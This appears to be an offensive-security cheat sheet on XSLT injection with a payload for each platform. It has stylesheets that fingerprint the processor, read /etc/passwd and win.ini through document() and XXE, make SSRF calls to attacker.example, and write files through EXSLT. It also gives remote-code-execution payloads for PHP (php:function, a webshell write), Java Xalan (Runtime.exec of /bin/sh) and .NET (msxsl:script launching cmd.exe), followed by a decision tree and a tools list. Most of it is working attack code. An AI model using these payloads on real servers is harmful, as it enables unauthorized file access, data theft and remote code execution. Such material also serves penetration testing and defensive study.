XSLT injection occurs whenattacker-controllable XSLT is compiled/executed by the server. The key is to firstidentify the processor type(Java/.NET/PHP/libxslt), then choose an attack path by platform.
0. Quick start
- Find the injection point: parameter names contain
xslt,stylesheet,transform,template, SOAP stylesheets, report generators, XML→HTML converters - Probe for reflection: inject a unique namespace or
xsl:value-of select="'marker'"— if the output changes, execution is confirmed - Fingerprintingthe processor (§1)
- Escalate the attack:document()(§2)、XXE(§3)、EXSLT file write(§4)、PHP RCE(§5)、Java RCE(§6)、.NET RCE(§7)
Harmless probe payload:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="'XSLT_PROBE_OK'"/>
</xsl:template>
</xsl:stylesheet>
1. Processor fingerprinting
Use the standard system-property to read:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
<xsl:text> vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
</xsl:template>
</xsl:stylesheet>
Fingerprint reference table:
| Signal | Engine |
|---|---|
Apache Software Foundation / Xalan markers |
Xalan(Java) |
Saxonica / Saxon URI |
Saxon |
libxslt / GNOME stack |
libxslt (C, common in PHP/nginx) |
| Microsoft URL / MSXML strings | MSXML / .NET XSLT stack |
Based on the results, choose a path from §5–§7.
2. File read — document()
document() loads another XML document into a node-set; local files are usually parsed as XML (noisy), buterrors and partial readscan still leak information.
Unix:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Windows:
<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>
SSRF / out-of-band:
<xsl:copy-of select="document('http://attacker.example/ssrf')"/>
If the data is not returned directly to the client, you can combine witherror echoortime differencesfor observation.
3. XXE via XSLT (external entities)
XSLT 1.0 allows the use of DTD external entitiesin stylesheets (when the parser allows DTDs):
<!DOCTYPE xsl:stylesheet [
<!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="'ENTITY_START'"/>
<xsl:value-of select="&ext_file;"/>
<xsl:value-of select="'ENTITY_END'"/>
</xsl:template>
</xsl:stylesheet>
Hardened parsers disable external DTDs — failure here does not mean other XSLT vectors (§2) are unavailable.
4. File write — EXSLT (exslt:document)
When the EXSLT common extension is enabled:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit">
<xsl:template match="/">
<exploit:document href="/tmp/evil.txt" method="text">
<xsl:text>PROOF_CONTENT</xsl:text>
</exploit:document>
</xsl:template>
</xsl:stylesheet>
Impact: arbitrary file write wherever path permissions allow — often can achieve RCE。
5. RCE — PHP (php:function)
Requires the scenario where PHP XSLT has registerPHPFunctions() enabled (misconfigured application):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function('readfile','index.php')"/>
</xsl:template>
</xsl:stylesheet>
Directory listing:
<xsl:value-of select="php:function('scandir','.')"/>
Dangerous operations(verify only in a lab environment):
php:function('file_put_contents','/var/www/shell.php','<?php ...')— Webshell writephp:function('assert', string($payload))— legacy PHP code execution
Note: modern PHP hardening usuallypreventsthese; the absence of RCE does not mean document()/XXE is unavailable.
6. RCE — Java (Saxon / Xalan extensions)
Java engines may exposeextension functions。
Xalan style(conceptual — adjust to the actual version and extension bindings):
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
</xsl:template>
</xsl:stylesheet>
Saxon style:
Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C whoami')
If extensions are disabled (a common secure default), pivot to document(), SSRF, or other attack surfaces.
7. RCE — .NET (msxsl:script)
When Microsoft XSLT script blocksare enabled:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
extension-element-prefixes="msxsl">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xexec() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
return "ok";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xexec()"/>
</xsl:template>
</xsl:stylesheet>
Default secure configurations usually disable scripting — this path is only valid when enabled.
In-depth reference
- XSLT advanced exploitation payloads and engine features (XSLT 2.0+/blind exploitation/WAF bypass) → references/xslt-exploitation.md
8. Decision tree
用户可控 XSLT 或 XML 转换?
|
否 → 不在范围
|
是
|
+-----------+-----------+
| |
输出反射 无反射
注入逻辑? 尝试盲通道
| |
v v
system-property() 错误/OOB/时间差
指纹识别引擎 |
| |
+---+---+---+ document()
| | | |
libxslt Java .NET SSRF/文件读
| | | |
document() Saxon/ msxsl:script? EXSLT?
EXSLT写 Xalan | |
| 扩展? C# Process 记录证据
v v v
文件读/写 rt:exec cmd.exe /c
9. Tools
| Category | Tool |
|---|---|
| Proxy/manual | Burp Suite, OWASP ZAP — replay stylesheet payloads, observe responses and errors |
| XML/XSLT lab environment | Match the targetexactly identicalprocessor (PHP libxslt / Java Saxon version / .NET framework) |
| Out-of-band | Collaborator / private callback server for document('http://…') |
No general-purpose scanner can replaceversion-specificbehavioral verification.